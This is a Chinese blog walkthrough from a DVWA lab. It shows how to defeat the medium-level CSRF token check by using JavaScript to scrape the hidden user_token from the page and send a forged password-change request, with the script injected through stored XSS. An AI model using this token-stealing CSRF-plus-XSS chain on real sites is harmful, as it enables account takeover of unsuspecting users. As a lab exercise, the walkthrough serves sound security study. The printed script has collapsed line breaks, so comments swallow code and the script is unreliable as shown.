当前位置: 首页 > news >正文

CSRF高级防御绕过

1)回顾low级别做过csrf页面的密码重置,重复之前的操作,我们发现级别调整中级之后,报错如下

image-20240730165044439

2)检查源码

image-20240730165028316

进入dvwa源码,查找到checktoken:

image-20240730165303561

3)在dvwa-csrf页面上,抓包

http://192.168.190.133/DVWA/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change&user_token=37c60bfd2e65393503743034bb6b3f8f#

image-20240730165710379

4)发现参数中有user_token,所以就去查看页面元素,发现了一个隐藏的input

image-20240730165649417

  1. 不停地访问并且抓包,追溯token生成的过程
  • session_token == csrf的响应结果
  • user_token == payload
  • 如果你要绕过,你的change请求就需要携带有效的token

image-20240730171050664

image-20240730171531384

6)设计绕过

let tokenURL = "http://192.168.190.133/DVWA/vulnerabilities/csrf/"
var count = 0;
xmlHttp = new XMLHttpRequest()xmlHttp.onreadystatechange = function(){if(xmlHttp.readyState == 4 && xmlHttp.status == 200){// 取得请求的响应,并从响应中通过正则提取Tokenvar res = xmlHttp.responseText;// <input type='hidden' name='user_token' value='cda6d797b42a685a1ec034a52a578956' />var reg_obj = new RegExp("<input type='hidden' name='user_token' value='(.+?)' />") var match = reg_obj.exec(res)[1]; alert(match);// var regex = /user_token\' value\=\'(.*?)\' \/\>/;   // var match = text.match(regex);var token = match;var changeUrl = 'http://192.168.190.133/DVWA/vulnerabilities/csrf/?user_token='+token+'&password_new=999&password_conf=999&Change=Change';if (count == 0) {count = 1;   // 只发送一次,否则会多次发送xmlHttp.open("GET",changeUrl,false);   // false 代表同步方式发送xmlHttp.send();}}
}xmlHttp.open("GET",tokenURL, false);
xmlHttp.send();
  1. 通过xss-store注入js脚本

8)登录后,访问xss-store,触发js

image-20240730175833763

http://www.lryc.cn/news/446227.html

相关文章:

  • MySQL安装文档-Windows
  • html TAB、table生成
  • 2024!再见前端!
  • 【源码+文档+调试讲解】人事管理系统设计与实现Python
  • 基于注意力机制的图表示学习:GRAPH-BERT模型
  • linux服务器安装原生的php环境
  • 数电学习基础(逻辑门电路+)
  • 【艾思科蓝】Spring Boot实战:零基础打造你的Web应用新纪元
  • C++ 二叉树
  • 初探IT世界:从基础到未来
  • 一区黏菌算法+双向深度学习+注意力机制!SMA-BiTCN-BiGRU-Attention黏菌算法优化双向时间卷积双向门控循环单元融合注意力机制多变量回归预测
  • 机器翻译之Bahdanau注意力机制在Seq2Seq中的应用
  • MyBatis 入门教程-搭建入门工程
  • CVE-2024-2389 未经身份验证的命令注入
  • C++初阶-list用法总结
  • 【智能大数据分析 | 实验一】MapReduce实验:单词计数
  • Git 版本控制--git restore和git reset
  • DBAPI如何实现插入数据前先判断数据是否存在,存在就更新,不存在就插入
  • 【渗透测试】-灵当CRM系统-sql注入漏洞复现
  • c语言练习题1(数组和循环)
  • 实验3 Hadoop集群运行环境搭建和使用
  • 前端文件上传全过程
  • MySQL中的函数简单总结,以及TCL语句的简单讲解
  • GPS在Linux下的使用(war driving的前置学习)
  • 开发经验总结: 读写分离简单实现
  • MySQL(面试题 - 同类型归纳面试题)
  • 【C++ Primer Plus习题】17.7
  • vue3(整合版)
  • 复制他人 CSDN 文章到自己的博客
  • 【算法——二分查找】